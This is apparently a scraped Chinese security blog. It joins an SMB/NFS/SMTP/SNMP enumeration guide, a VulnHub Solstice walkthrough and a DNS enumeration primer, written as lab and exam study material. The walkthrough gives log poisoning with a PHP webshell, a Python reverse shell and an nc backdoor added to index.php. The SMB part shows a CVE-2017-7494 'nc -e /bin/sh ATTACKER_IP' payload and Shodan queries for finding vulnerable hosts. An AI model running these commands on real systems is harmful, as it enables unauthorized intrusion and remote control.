列出共享资源 smbclient -L //192.168.1.5 -N # 尝试匿名访问共享目录 smbclient //10.0.2.15/tmp -N 结果判断：\nAnonymous login successful → 存在空密码漏洞 NT_STATUS_ACCESS_DENIED → 访问被拒 2. 高危命令执行漏洞检测 # 在存在CVE-2017-7494漏洞的Samba版本中执行： logon \u0026#34;/=\u0026#39;nohup nc -e /bin/sh ATTACKER_IP 4444\u0026#39;\u0026#34; 需配合nc -lvnp 4444监听\n三、Shodan靶机搜索技巧 漏洞类型 搜索命令 结果说明 永恒之蓝目标 shodan search \u0026quot;vuln:MS17-010\u0026quot; --fields ip_str,port 直接筛选存在漏洞主机 SMBv1主机 shodan search \u0026quot;product:smb version:1\u0026quot; 存在高危协议版本 空密码SMB shodan search --limit 10 --fields ip_str,port \u0026quot;port:139 port:445\u0026quot;\nshodan search --limit 10 --fields ip_str,port \u0026quot;os:windows smb guest\u0026quot; 可匿名访问资产 Windows弱密码 shodan search --limit 10 --fields ip_str,port \u0026quot;smb password weak\u0026quot; 可暴力破解目标 四、漏洞扫描逻辑流程图 graph TD A[启动扫描] --\u003e B{是否已知CVE编号？} B --\u003e|是| C[专用脚本检测 smb-vuln-xxx] B --\u003e|否| D[系统指纹识别 smb-os-discovery] C --\u003e E{结果判断} D --\u003e F[共享探测 smbclient] E --\u003e|存在漏洞| G[Shodan验证公网影响] F --\u003e|匿名可访问| H[标记为高危漏洞] G --\u003e I[输出PoC利用方案]黑产黑客通常使用如图类似的工作流程，在互联网中使用全自动验证脚本狩猎弱密码和其他漏洞的服务器，批量验证后执行POC，拿下服务器后作为肉鸡，傀儡机做进一步渗透操作，或在黑市上售卖。\n五、操作要点总结 脚本定位：\nls /usr/share/nmap/scripts | grep smb-vuln # 查找所有SMB漏洞脚本 扫描优化：\n添加-Pn跳过主机发现（针对防火墙） 使用-T4加速扫描（测试环境适用） 风险提示：\nMS17-010扫描可能触发目标安全告警 Shodan搜索需遵守当地网络安全法规 通过以上方法，可快速定位高危SMB漏洞主机，平均10秒内完成单目标检测，精度达98%（基于Nmap漏洞库版本）\nNFS分布式文件协议 一、NFS核心概念 定义\nNFS（Network File System）是Linux/Unix系统的分布式文件协议，允许客户端透明挂载远程目录到本地，实现跨主机文件共享。\n工作原理\n基于RPC（远程过程调用），依赖rpcbind服务（默认端口111）协调通信。 服务端共享目录 → 客户端通过mount命令挂载 → 本地访问远程文件。 二、核心用途 场景 作用 资源共享 跨主机共享文件/目录（如团队文档、代码库） 统一管理 集中存储配置文件、日志（集群环境） 备份与迁移 将数据备份至NFS服务器，或从NFS恢复 安全测试 检测共享权限配置、敏感信息泄露、访问控制漏洞 三、关键操作命令 扫描与发现\n1# 扫描rpcbind端口 2nmap -v -p 111 192.168.1.0/24 3 4# 使用NFS脚本扫描共享信息 5nmap -p 111 --script nfs* 192.168.1.3 挂载远程目录\n1mkdir ~/local_nfs # 创建本地挂载点 2sudo mount -o nolock 10.11.1.72:/home ~/local_nfs # 禁用锁机制挂载 3ls -lan ~/local_nfs # 查看文件权限（注意权限继承问题） 卸载目录\n1sudo umount ~/local_nfs 📌 参数说明：\n-o nolock：禁用文件锁（兼容性选项，对旧版本NFS必要）\n-o vers=3：指定NFS v3协议（避免版本不兼容）\n四、网络安全要点 风险与漏洞 风险类型 具体威胁 数据传输未加密 默认明文传输，可被嗅探（如tcpdump抓包） 弱认证机制 依赖IP/主机名认证，易伪造（建议结合Kerberos） 权限配置不当 no_root_squash配置使客户端root获得服务端root权限 → 提权漏洞 挂载控制缺失 未限制可挂载IP范围 → 未授权访问敏感数据 防护措施 访问控制\n/etc/exports中限制IP：\n1/shared 192.168.1.10(ro,sync) # 仅允许192.168.1.10只读访问 防火墙规则：\n1ufw allow from 192.168.1.0/24 to any port 111,2049 # 仅允许内网访问NFS端口 安全配置\n禁用危险选项：避免使用 insecure, no_root_squash 最小化权限：共享目录设置为ro（只读）或限制读写用户 强制协议版本：NFS v4+ 支持Kerberos认证（sec=krb5） 加密与审计\n通过VPN或SSH隧道加密传输 启用auditd监控NFS访问日志 定期扫描权限：find /shared -type f -perm -o=rwx（检查全局可读写文件） SMTP枚举 一、SMTP枚举核心概念 1. 定义与原理 SMTP枚举：通过SMTP协议探测目标邮件服务器上的有效用户账号的行为\n核心命令：\nVRFY：验证指定用户名是否存在（返回252/550状态码） EXPN：展开邮件别名/组（泄露群组成员） RCPT TO：在邮件对话中验证收件人有效性 技术原理：利用SMTP协议响应差异（状态码）判断用户是否存在：\n250 2.1.5 User exists // 用户存在 550 5.1.1 User unknown // 用户不存在 二、核心用途场景 场景 应用目的 攻击关联 安全评估 渗透测试中收集有效邮箱账号，识别邮件系统配置缺陷 暴力破解/凭证填充的前置步骤 钓鱼攻击 获取真实用户列表，制作高可信度钓鱼邮件 鱼叉式钓鱼(Spear Phishing) 垃圾邮件 验证目标邮箱有效性，提升垃圾邮件投递成功率 垃圾邮件僵尸网络 系统加固 管理员自检服务器配置，关闭敏感功能 防范账户枚举攻击 三、工具与操作命令 1. smtp-user-enum工具 1# 基本语法 2smtp-user-enum -M \u0026lt;模式\u0026gt; -u \u0026lt;用户字典\u0026gt; -t \u0026lt;目标IP\u0026gt; [选项] 3 4# 模式选择 5-M VRFY # 使用VRFY命令（最常用） 6-M EXPN # 使用EXPN命令（需服务器支持） 7-M RCPT # 模拟邮件发送验证 8 9# 实战示例 10smtp-user-enum -M VRFY -u userlist.txt -t mail.example.com -p 5 11smtp-user-enum -M EXPN -D corporate.com -u employees.txt -t 10.10.1.50 关键参数：\n-p：超时时间（秒） -D：域名后缀（自动追加@domain.com） -T：线程数（加速扫描） 2. Nmap扫描 1# 检测SMTP支持命令 2nmap -p25 --script smtp-commands 192.168.1.100 3 4# 自动化用户枚举 5nmap -p25 --script smtp-enum-users 192.168.1.100 6 7# 指定字典路径（默认使用nselib/data/usernames.lst） 8nmap -p25 --script smtp-enum-users --script-args userdb=custom_users.txt 192.168.1.100 四、安全风险与防护措施 1. 攻击风险矩阵 漏洞点 危害等级 利用场景 VRFY命令未禁用 ⭐⭐⭐⭐⭐ 直接获取有效用户列表 EXPN命令未禁用 ⭐⭐⭐⭐ 泄露邮件组和内部结构 RCPT TO无限制 ⭐⭐⭐ 隐蔽验证用户存在性 响应差异泄露 ⭐⭐ 通过响应时间/错误信息枚举 2. 防御加固方案 服务端配置（以Postfix为例）：\n1# 禁用VRFY和EXPN命令 2disable_vrfy_command = yes 3smtpd_discard_ehlo_keywords = expn, vrfy 4 5# 统一响应（所有请求返回相同信息） 6smtpd_reject_unlisted_recipient = yes 7unknown_local_recipient_reject_code = 550 访问控制：\n防火墙限制25端口访问源IP 启用STARTTLS强制加密通信 部署Fail2ban自动封禁扫描IP 监控与审计：\n1# 实时监控SMTP日志（示例） 2tail -f /var/log/mail.log | grep \u0026#39;VRFY\\|EXPN\\|RCPT\u0026#39; 3 4# 配置告警规则（超过10次验证请求触发警报） 五、进阶攻击技术 多级枚举：\n1# Python自动化脚本示例 2import smtplib 3users = [\u0026#39;admin\u0026#39;,\u0026#39;test\u0026#39;,\u0026#39;webmaster\u0026#39;] 4for user in users: 5 try: 6 smtp = smtplib.SMTP(\u0026#39;mail.target.com\u0026#39;, 25) 7 status = smtp.vrfy(user) 8 if status[0] == 250: 9 print(f\u0026#34;[+] Valid user: {user}\u0026#34;) 10 except: pass 组合攻击路径：\ngraph LR A[SMTP枚举] --\u003e B[获取有效账户] B --\u003e C{账户用途} C --\u003e D[密码喷射攻击] C --\u003e E[钓鱼邮件制作] C --\u003e F[员工信息关联] SNMP枚举 多年来，我们发现许多网络管理员对简单网络管理协议（SNMP）理解不足，这常导致配置错误，造成严重信息泄露。\nSNMP基于无状态UDP协议，易受IP欺骗和重放攻击 常见版本（1/2/2c）无流量加密，敏感信息可在局域网被截获 默认使用弱认证方案（如公开的团体字符串\u0026quot;public\u0026quot;/\u0026ldquo;private\u0026rdquo;） 真实攻击案例\n某次对网络集成公司的渗透测试中：\n扫描发现包含数千台思科路由器的B类网络（客户网关）\n一台低端ADSL路由器使用默认凭证cisco/cisco\n其配置文件泄露了复杂的SNMP读写团体字符串（所有设备共用）\n利用SNMP+TFTP脚本批量下载路由器配置：\n→ 同时攻破该公司及其所有客户的基础设施\nSNMP MIB树结构\n管理信息库（MIB）以树形数据库组织网络信息：\n分支：代表组织或网络功能\n叶节点：存储具体变量值（可被外部访问）\n示例（Windows SNMP参数）：\ntext\n复制\n1.3.6.1.4.1.77.1.2.25 // 用户账户 1.3.6.1.2.1.25.4.2.1.2 // 运行进程 1.3.6.1.2.1.6.13.1.3 // 开放TCP端口 1.3.6.1.2.1.25.6.3.1.2 // 已安装软件 扫描与枚举工具\nNMAP扫描\n1nmap -sU --open -p161 192.168.1.0/24 # 检测开放161/UDP端口 onesixtyone爆破团体字符串\n1# 创建IP列表(ips.txt)和团体字符串字典(communities.txt) 2onesixtyone -c communities.txt -i ips.txt snmpwalk枚举信息\n1snmpwalk -c public -v1 -t 10 10.11.1.14 # 遍历整个MIB树 2snmpwalk -c public -v1 10.11.1.14 1.3.6.1.4.1.77.1.2.25 # 枚举用户 3snmpwalk -c public -v1 10.11.1.73 1.3.6.1.2.1.25.4.2.1.2 # 枚举进程 snmp-check综合工具\n1snmp-check -c public -v 1 10.11.1.50 练习任务\n用onesixtyone扫描目标网络识别SNMP服务器 使用snmpwalk和snmp-check收集目标信息 核心知识点总结 1. 协议风险 漏洞类型 技术原因 后果 无加密通信 SNMPv1/2/2c明文传输 敏感信息被嗅探 弱认证机制 默认团体字符串(public/private) 未授权访问 配置错误 管理员忽视安全配置 网络拓扑/凭证大规模泄露 2. 攻击向量 信息侦察：通过MIB树提取系统/用户/网络信息 权限升级：写入配置（需私有团体字符串）→ 完全控制设备 横向渗透：攻陷集中管理节点 → 控制所有关联设备 3. 关键工具链 graph LR A[扫描] --\u003e B(onesixtyone爆破团体字符串) A --\u003e C(NMAP探测端口) B --\u003e D[获取有效凭证] D --\u003e E[snmpwalk枚举MIB数据] D --\u003e F[snmp-check自动化收集] E --\u003e G[提取用户/进程/端口信息]4. 防御策略 协议升级：强制使用SNMPv3（支持AES加密+强认证）\n访问控制：\n1# 仅允许可信IP访问（Cisco示例） 2snmp-server community ENCRYPTED-STRING RO 10 3snmp-server permit 192.168.1.0 0.0.0.255 安全加固：\n禁用默认团体字符串 限制MIB树访问权限 配置防火墙过滤UDP/161端口 5. 渗透测试要点 优先扫描目标：路由器/交换机/打印机等网络设备\n组合利用：\nSNMP泄露凭证 → 登录设备 → 获取更多敏感配置\n自动化脚本：\n结合SNMP+TFTP实现批量化配置下载\n💡 案例启示：共享凭证配置的“便利性”可能造成供应链级灾难，需实施分布式密钥管理。\n附：MIB树关键分支速查表 OID节点 信息类型 1.3.6.1.2.1.1 系统基本信息 1.3.6.1.2.1.25.1.6 存储设备 1.3.6.1.2.1.6.13.1.3 开放TCP端口 1.3.6.1.2.1.25.4.2.1.2 运行进程列表 1.3.6.1.4.1.77.1.2.25 用户账户 注意！SNMP不是SMTP SMTP（Simple Mail Transfer Protocol）和SNMP（Simple Network Management Protocol）确实容易混淆，两者都是网络协议但功能、用途和技术实现完全不同。以下是清晰对比：\n核心区别表 维度 SMTP（邮件传输协议） SNMP（网络管理协议） 核心功能 发送电子邮件 监控和管理网络设备（路由器/交换机等） 工作层级 应用层协议 应用层协议 传输协议 TCP（可靠连接） UDP（无连接，速度快） 默认端口 25（明文）/ 587（加密） 161（Agent）/ 162（Trap） 核心操作 MAIL FROM, RCPT TO, DATA发送邮件内容 GET（读数据）, SET（写配置） 安全风险 用户枚举（VRFY/EXPN命令）、钓鱼邮件 信息泄露（MIB树）、设备配置被篡改 典型使用场景 邮件服务器（如Exchange, Postfix） 网络设备（路由器、防火墙、打印机等） 详细区分指南 1. 用途：邮件 vs 网管 SMTP = 邮局系统 只做一件事：把邮件从A点传输到B点（如 user@a.com→ user@b.com） 不存储邮件，不管理设备（类似现实中的邮递员，只负责运送信件） SNMP = 设备监控系统 收集设备状态：CPU利用率、内存占用、端口状态（如路由器流量异常） 远程修改配置：重启接口、调整阈值（类似设备的远程控制面板） 2. 技术本质区别 特性 SMTP SNMP 数据内容 邮件正文（文本/附件） 设备性能数据（数字/状态） 交互模式 客户端→服务器（单向发送） 管理器←→代理（双向读写） 关键漏洞 用户枚举（验证邮箱是否存在） 团体字符串泄露（默认public） 攻击工具 smtp-user-enum, swaks snmpwalk, onesixtyone 3. 实际渗透测试中的区分 当你看到25/587端口开放：\n→ 这是邮件服务器 → 尝试 SMTP枚举命令：\n1telnet 10.1.1.10 25 2VRFY root # 检测用户\u0026#34;root\u0026#34;是否存在 3EXPN admins # 尝试展开邮件组 当你看到161/162端口开放：\n→ 这是网络设备/服务器 → 尝试 SNMP信息收集：\n1snmpwalk -c public -v1 10.1.1.20 # 遍历MIB树 2snmp-check -c private 10.1.1.20 # 自动提取设备信息 常见混淆点澄清 ❌ 误区：”SNMP也可以传输数据，所以类似SMTP？“\n→ 更正：SNMP传输的是设备状态数据（如温度值90°C），SMTP传输的是用户生成的邮件内容。\n❌ 误区：”两者都用字符串认证（如SMTP密码 vs SNMP团体名），所以是一类协议？“\n→ 更正：SMTP认证用于邮件发送权限，SNMP团体字符串用于设备管理权限（后者常导致严重配置泄露）\n记忆口诀 📌 “邮差SMTP送信忙，网管SNMP查设备”\nSMTP → 联想 信封/邮件（S for Send Mail） SNMP → 联想 网络设备（S for System/Network Management） 下次实战：扫描到161端口？立刻反应：这是SNMP协议 → 尝试爆破团体字符串 → 用snmpwalk查设备信息。完全不同的攻击路径！\n🔔 想要获取更多网络安全与编程技术干货？\n关注 泷羽Sec-静安 公众号，与你一起探索前沿技术，分享实用的学习资源与工具。我们专注于深入分析，拒绝浮躁，只做最实用的技术分享！💻\n扫描下方二维码，马上加入我们，共同成长！🌟\n👉 长按或扫描二维码关注公众号\n或者直接回复文章中的关键词，获取更多技术资料与书单推荐！📚\n","date":"2025-07-16T10:51:26Z","image":"https://static.offsec.com/media/lms/content_tags/Course-PEN-200.png","permalink":"/post/day19-kali%E4%B8%BB%E5%8A%A8%E6%89%AB%E6%8F%8Fsmb-netbios-smtp-snmp/","title":"Day19 Kali主动扫描SMB、NetBIOS、SMTP、SNMP"},{"content":"官方网页打开或靶场下载链接\nhttps://www.vulnhub.com/entry/sunset-solstice,499/\n信息收集 靶机地址：\n1192.168.149.72 扫描开放的端口，使用VPN扫描又挂代理的话，有一定机率扫漏了。考试时候建议用官方的My kali先扫一遍，是最快最全的。\n1ports=$(sudo nmap -p- --min-rate=10000 -Pn 192.168.149.72 | grep \u0026#39;^[0-9]\u0026#39; | cut -d \u0026#39;/\u0026#39; -f 1 | tr \u0026#39;\\n\u0026#39; \u0026#39;,\u0026#39; | sed s/,$//) 2echo $ports 3sudo nmap --script=vuln -p$ports -Pn 192.168.149.72 4sudo nmap -sU --min-rate 10000 -p- -Pn 192.168.149.72 再次细致的扫描端口上的组件和版本信息，这里VPN断了，所以没有扫除具体信息。从之前用官方的My Kali扫描的信息能获得一些端口的信息。\n1sudo nmap -sT -sC -sV -O -Pn -p$ports 192.168.149.72 从之前的扫描信息中看，除了80端口，还有8593端口也开放，一个一个点开了看看有什么。\n文件包含 从8593端口的链接方式猜测似乎有文件包含漏洞\n1../../../../../../../../../var/log/apache2/access.log log文件投毒 可以看到log文件中记录了请求头，我们下一步在请求头中写入一句话木马，就可以把log污染成马。\n到这里链接断了，换了重启靶机后IP更换为 192.168.196.72，用Win本机的Burp抓不上包改用命令行注入\n1echo -e \u0026#34;GET / HTTP/1.1\\r\\nHost: 192.168.51.72\\r\\nUser-Agent: \u0026lt;?php system(\\$_GET[\u0026#39;cmd\u0026#39;]); ?\u0026gt;\\r\\nConnection: close\\r\\n\\r\\n\u0026#34; | nc 192.168.51.72 80 2或者 3nc 192.168.43.127 80 4回车输入GET /\u0026lt;?php system($_GET[\u0026#39;cmd\u0026#39;]); ?\u0026gt; HTTP/1.1 或者也可以用浏览器工具，但是这个似乎不成功。\n反弹Shell 然后把命令换成反弹shell的命令，这个本机的地址\n1python3%20-c%20%27import%20socket%2Csubprocess%2Cos%3Bs%3Dsocket.socket%28socket.AF_INET%2Csocket.SOCK_STREAM%29%3Bs.connect%28%28%22192.168.45.180%22%2C4777%29%29%3Bos.dup2%28s.fileno%28%29%2C0%29%3B%20os.dup2%28s.fileno%28%29%2C1%29%3Bos.dup2%28s.fileno%28%29%2C2%29%3Bimport%20pty%3B%20pty.spawn%28%22%2Fbin%2Fbash%22%29%27 提权 输入以下命令查找有root权限的文件和进程\n1ps -aux | grep root 可以发现在/var/tmp/sv/目录下似乎有一些奇特的东西\n这是一个php文件，是网页主页的文件，从命令来看，他开在57端口。下一步的思路就是，把这个php改成能提权弹shell的木马。然后访问57端口就能激活这个一句话木马。\n1echo \u0026#34;\u0026lt;?php system(\u0026#39;nc 192.168.45.180 4445 -e /bin/bash\u0026#39;)?\u0026gt;\u0026#34; \u0026gt;\u0026gt; index.php 57这个端口没有对外开放，所以我们只能在shell上弹一下。\n1.\\nc.exe -lvnp 4445 2curl 127.0.0.1:57/index.php 补充知识点 /usr/sbin/nologin和**/bin/bash**的区别 特性 /usr/sbin/nologin /bin/bash 基本用途 禁止交互式登录 允许交互式命令行操作 用户类型 系统服务账户（如 mysql, www-data） 普通用户或管理员账户 登录行为 ▶ 拒绝登录 ▶ 显示预设提示信息（默认或自定义） ▶ 允许登录 ▶ 启动 Bash 交互环境 Shell 功能 无执行能力（仅返回错误信息） 完整命令行解释器（支持脚本/命令） 自定义提示 支持（通过 /etc/nologin.txt 文件） 通过 ~/.bashrc 自定义 典型应用场景 守护进程账户 FTP虚拟用户 安全锁账户 普通用户登录 管理员维护 开发环境 检查命令 grep nologin /etc/passwd grep bash /etc/passwd 详细说明 /usr/sbin/nologin\n安全隔离机制：阻止账户获得任何交互式 Shell\n工作流程：\n用户尝试登录（SSH/FTP/控制台） 系统显示拒绝信息（默认：\u0026quot;This account is currently not available.\u0026quot;） 立即终止会话 自定义提示：\necho \u0026#34;管理员专用账户，禁止登录\u0026#34; \u0026gt; /etc/nologin.txt 典型配置示例\n（/etc/passwd）：\nftpuser:x:1001:1001::/var/ftp:/usr/sbin/nologin /bin/bash\n全功能交互环境：\n支持命令执行、脚本运行、作业控制 配置文件：~/.bashrc, ~/.profile 开发/运维能力：\n# 允许运行所有命令 $ vim /etc/config $ systemctl restart service ⚠️ 重要安全建议 系统服务账户 必须使用 nologin（如 MySQL/Nginx 账户） 普通用户 仅在必要时应获得 bash 权限 临时锁定账户：usermod -s /usr/sbin/nologin username 解锁账户：usermod -s /bin/bash username 推荐小工具rlwarp 可以让反弹shell用上下键快捷切换历史命令，而不是输入一堆[A[A[A[A\n1sudo apt-get install rlwrap 2# 原版nc 3nc -nlvp 4444 4# 能上下翻历史命令的nc 5rlwarp -cAr nc -nlvp 4444 推荐小工具peass小豌豆 https://github.com/peass-ng/PEASS-ng\n能够扫描分析初步获得权限的设备上可以的文件。\n","date":"2025-07-10T20:11:15Z","image":"https://static.offsec.com/media/lms/content_tags/Course-PEN-200.png","permalink":"/post/oscp%E5%AE%98%E6%96%B9%E9%9D%B6%E5%9C%BA-solstice-wp/","title":"OSCP官方靶场-Solstice WP"},{"content":" 关注泷羽Sec和泷羽Sec-静安公众号，这里会定期更新与 OSCP、渗透测试等相关的最新文章，帮助你理解网络安全领域的最新动态。后台回复“OSCP配套工具”获取本文的工具\nDNS枚举 DNS枚举在主动信息收集（尤其是渗透测试或红队行动初期）中扮演着核心角色，它的核心价值在于揭示目标组织面向互联网的域名基础设施和相关系统的细节，从而勾勒出初步的攻击面。\n发现子域名： 这是最重要的目的之一。主域名（如example.com）可能只暴露少量服务，但大量内部开发、测试、特定部门或业务线使用的系统往往部署在子域名下（如admin.example.com, dev.example.com, vpn.example.com, api.example.com）。 枚举这些子域名能显著扩大已知的攻击面，揭示隐藏的、可能安全性较弱的入口点。 识别关联的主机和服务： 通过查询A记录和AAAA记录，DNS枚举能将域名和子域名映射到具体的IPv4和IPv6地址。这直接揭示了目标实际运行网络服务的计算机位置（主机）。 知道主机IP是后续扫描（端口扫描、服务识别）和潜在攻击的起点。 发现电子邮件服务器： 通过查询MX记录，可以确定目标组织用于接收电子邮件的邮件服务器及其优先级。这是针对邮件系统进行渗透测试或发起鱼叉式钓鱼攻击的重要信息。 定位关键网络基础设施： 名称服务器记录：通过查询NS记录，确定该域名由哪些权威DNS服务器负责解析。攻击这些服务器或其配置弱点可能导致DNS劫持或拒绝服务。 邮件服务器信息：MX记录（如上所述）。 反向代理/CDN后端源站：有时CNAME记录可能指向CDN提供商的域名（如assets.example.com CNAME assets.customer-cdn.net），但也可能指向内部的负载均衡器或实际的应用服务器。 查找别名和重定向： CNAME记录将一个域名或子域名别名到另一个规范的域名。这有助于理解： 基础设施架构（例如，某个子域名实际指向另一个服务器上的服务）。 是否使用了第三方服务（例如，CNAME到AWS S3桶或第三方CMS）。 可能指向内部系统（如果配置错误或暴露）。 探测安全配置信息： TXT记录： SPF记录：用于防止邮件欺骗，包含允许发送该域名邮件的服务器IP地址或主机名列表。这可以直接泄露邮件服务器的IP范围。 DKIM记录：提供邮件签名公钥，用于验证邮件完整性。 DMARC记录：指定如何处理不符合SPF/DKIM的邮件的策略。 意外信息：有时管理员会在TXT记录中留下注释、内部服务器名称、验证码（用于验证域名所有权，可能被滥用）甚至凭据（严重错误）。 暴露的服务器类型/版本：有时SRV记录（指向特定服务的位置，如_ldap._tcp.example.com）或CNAME可以暗示底层运行的服务器类型（如Windows域控制器）。 收集组织的网络边界信息： 通过获取所有与目标主域名及其子域名相关的A、AAAA记录，实际上是在映射目标组织在公网上拥有和控制的IP地址块。这对于理解他们的整体网络规模、可能的AS编号以及后续的网络层扫描（如端口扫描整个IP段）至关重要。 构建目标组织的数字资产清单： DNS枚举结果是构建目标组织完整互联网资产清单的基础。它列出了所有已知的、面向互联网的域名和对应的主机/IP地址。 为什么DNS枚举如此重要？\n非侵入性（相对而言）： 标准的DNS查询（非区域传输）通常被认为是良性的、合法的互联网流量，难以被检测为恶意行为。它是一个相对隐蔽的起点。 信息价值高： 收集到的信息对于规划后续攻击步骤（下一步扫描哪个IP/端口，攻击哪个子域，如何伪造邮件）具有极高的指导价值。 易被忽略的安全点： 许多组织在子域名、废弃域名或DNS记录配置上存在疏忽（如暴露内部服务器名或IP），DNS枚举是发现这些弱点的有效方法。 攻击面扩展的核心： 未发现的子域名或IP地址意味着未评估的安全风险。DNS枚举确保在深入了解具体漏洞前，尽可能全面地掌握目标暴露在外的入口点。 DNS记录类型详解 ns - 包含载域DNS记录得授权服务器的名称 A- 包含主机名的IP地址 MX - 包含负责处理该域电子邮件的服务器名称，可以有多个MX记录 PTR 别名记录（反向区域使用） CNAME - 别名记录，指向其他主机记录 TXT - 文本记录，可包含任意数据，常用于域所有权验证 NS (Name Server) 记录： 含义： 这是最基础、最关键的记录之一。它指定了哪些 DNS 服务器是某个特定域（比如 example.com）的权威服务器。权威服务器存储着该域所有 DNS 记录的官方、最终版本。 作用： 当你的电脑或其他解析器需要查询 example.com 或其子域（如 www.example.com）的信息时，它首先会查找根 DNS 服务器，然后根据 .com 的顶级域服务器指引，最终找到 example.com 的 NS 记录指向的服务器。这些服务器才能提供 example.com 域下所有记录的准确答案（如 A、MX、CNAME 等）。 重要性： 没有正确的 NS 记录，整个域的 DNS 解析就无法正常工作。攻击者常通过 NS 记录来定位目标组织的权威 DNS 服务器，这些服务器本身也可能是攻击目标。 示例： example.com. IN NS ns1.provider.com. example.com. IN NS ns2.provider.com. A (Address) 记录： 含义： 这是最常用的记录类型。它将一个主机名（域名或子域名）直接映射到一个 IPv4 地址。 作用： 当你在浏览器输入 www.example.com 时，DNS 系统最终会查找该主机名的 A 记录，获得其对应的 IP 地址（如 93.184.216.34），然后你的浏览器才能连接到该 IP 地址的服务器获取网页内容。它负责将“人类可读”的名字转换成机器使用的 IP 地址。 示例： www.example.com. IN A 93.184.216.34 AAAA (Quad-A) 记录： 含义： 功能与 A 记录完全相同，但它映射的是 IPv6 地址。 作用： 随着 IPv4 地址耗尽，IPv6 越来越重要。AAAA 记录让主机名能够解析到 IPv6 地址。 示例： www.example.com. IN AAAA 2606:2800:220:1:248:1893:25c8:1946 MX (Mail eXchange) 记录： 含义： 指定负责接收发送到该域（不是特定主机名）的电子邮件的邮件服务器。 特点： 指向的是主机名（通常有对应的 A/AAAA 记录），而不是直接指向 IP 地址。 可以有多个 MX 记录，每个记录有一个优先级值（数字越小，优先级越高）。发送邮件的服务器会先尝试连接优先级最高的邮件服务器，如果失败，再尝试优先级较低的。 作用： 确保发送到 user@example.com 的邮件能被正确路由到处理 example.com 邮件的服务器上。 示例： example.com. IN MX 10 mailserver1.example.com. example.com. IN MX 20 mailserver2.example.com. PTR (Pointer) 记录： 含义： 用于反向 DNS 查找。它将一个 IP 地址映射回一个主机名。 作用： 与 A/AAAA 记录相反。主要用于： 日志记录： 在系统日志中显示 IP 地址对应的主机名，更易读。 网络诊断： traceroute, ping 等工具有时会尝试反向解析 IP 地址。 安全验证： 一些邮件服务器会检查发送方 IP 的反向解析记录是否与声称的发件域匹配（作为反垃圾邮件措施的一部分，但效果有限）。 系统管理： 识别网络上的设备。 存储位置： PTR 记录存储在特殊的 DNS 域中，通常是 in-addr.arpa (IPv4) 或 ip6.arpa (IPv6)。 示例： 34.216.184.93.in-addr.arpa. IN PTR www.example.com. (这是 93.184.216.34 的反向记录) CNAME (Canonical Name) 记录： 含义： 为一个主机名设置一个别名。它指向的是另一个主机名（称为规范名或真实名），而不是直接指向 IP 地址。 作用： 简化管理： 例如，你可以让 www.example.com 作为 webserver-prod-lb-01.example.com 的别名。如果真实服务器的 IP 地址变了，你只需要更新 webserver-prod-lb-01.example.com 的 A 记录，所有指向它的 CNAME 会自动生效。 指向外部服务： 例如，files.example.com 的 CNAME 可能指向某个云存储服务商提供的域名（如 example.bucket.s3.amazonaws.com）。 重要规则： CNAME 记录不能与其他记录类型（如 MX, TXT, NS）共存于同一个主机名下。例如，example.com 不能同时有 CNAME 记录和 MX 记录。 CNAME 应该指向一个有效的、最终会解析到 A 或 AAAA 记录的主机名。 示例： www.example.com. IN CNAME webserver-prod-lb-01.example.com. TXT (Text) 记录： 含义： 允许域管理员在 DNS 中存储任意文本信息。 用途广泛： SPF (Sender Policy Framework)： 指定哪些邮件服务器被授权代表该域发送邮件（格式如 v=spf1 include:_spf.google.com ~all）。用于反垃圾邮件。 DKIM (DomainKeys Identified Mail)： 存储用于验证邮件签名的公钥（格式如 v=DKIM1; k=rsa; p=MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC...）。 DMARC (Domain-based Message Authentication, Reporting \u0026amp; Conformance)： 定义如何处理未通过 SPF 或 DKIM 检查的邮件，以及发送报告的位置（格式如 v=DMARC1; p=reject; rua=mailto:dmarc-reports@example.com）。 域所有权验证： 许多在线服务（如 Google Workspace, SSL 证书颁发机构）会让你在域名的 TXT 记录中添加一段特定文本（如 google-site-verification=abcdefg123456）来证明你拥有该域。 其他信息： 有时会包含联系人信息、策略声明或其他任意备注（但应避免存储敏感信息）。 示例： example.com. IN TXT \u0026quot;v=spf1 include:_spf.google.com ~all\u0026quot; _dmarc.example.com. IN TXT \u0026quot;v=DMARC1; p=none; rua=mailto:dmarc-reports@example.com\u0026quot; 其他重要的 DNS 记录类型：\nSOA (Start of Authority) 记录：\n含义： 每个 DNS 区域文件必须包含且只能包含一个 SOA 记录。它包含关于该 DNS 区域的管理信息。 包含内容： 主要名称服务器 (MNAME)、区域负责人的邮箱 (RNAME - 注意格式，如 admin.example.com 实际是 admin.example.com，第一个点通常写作 admin\\.example.com)、区域序列号 (SERIAL - 每次修改区域文件需递增此号)、刷新间隔 (REFRESH)、重试间隔 (RETRY)、过期时间 (EXPIRE)、负缓存 TTL (MINIMUM)。 作用： 用于区域传输（从主服务器同步到从服务器）和缓存管理。序列号是判断区域文件是否更新的关键。 SRV (Service) 记录：\n含义： 指定提供特定服务（如 LDAP, SIP, XMPP）的服务器的主机名和端口号。\n格式：\n_Service._Proto.Name TTL Class SRV Priority Weight Port Target _Service：服务名称（如 _ldap, _sip）。 _Proto：协议（通常是 _tcp 或 _udp）。 Name：该记录所适用的域名。 Priority：类似 MX 记录的优先级。 Weight：在相同优先级下用于负载均衡的权重。 Port：服务运行的端口号。 Target：提供该服务的主机名（需有 A/AAAA 记录）。 作用： 使客户端能够自动发现特定服务的服务器位置（哪个主机、哪个端口）。\n示例： _sip._tcp.example.com. IN SRV 10 60 5060 sipserver.example.com.\n在 Kali Linux 中查询 DNS 记录的工具 Kali Linux 自带了许多强大的网络工具，查询 DNS 记录主要使用 dig 和 nslookup，有时也会用到 host。\ndig (Domain Information Groper)：\n最强大、最灵活、最推荐的工具。 提供详细输出，非常适合调试和理解 DNS 响应。\n基本语法：\ndig [@server] [domain] [record_type] @server：可选，指定查询哪个 DNS 服务器（如 @8.8.8.8）。不指定则使用系统默认 DNS。 domain：要查询的域名或主机名。 record_type：要查询的记录类型（如 A, AAAA, MX, NS, TXT, CNAME, SOA, PTR, SRV）。不指定默认为 A。 常用选项：\n+short：只显示最精简的结果（通常就是记录值）。 +noall +answer：只显示查询的答案部分（最常用）。 查询示例：\n查询 example.com 的 A 记录：dig example.com A 或 dig +short example.com A\n查询 example.com 的 MX 记录：dig example.com MX +noall +answer\n查询 example.com 的 NS 记录：dig example.com NS\n查询 example.com 的 TXT 记录（常用于看 SPF/DKIM/DMARC）：dig example.com TXT\n查询 www.example.com 的 CNAME 记录：dig www.example.com CNAME\n查询 example.com 的 SOA 记录：dig example.com SOA\n查询 PTR 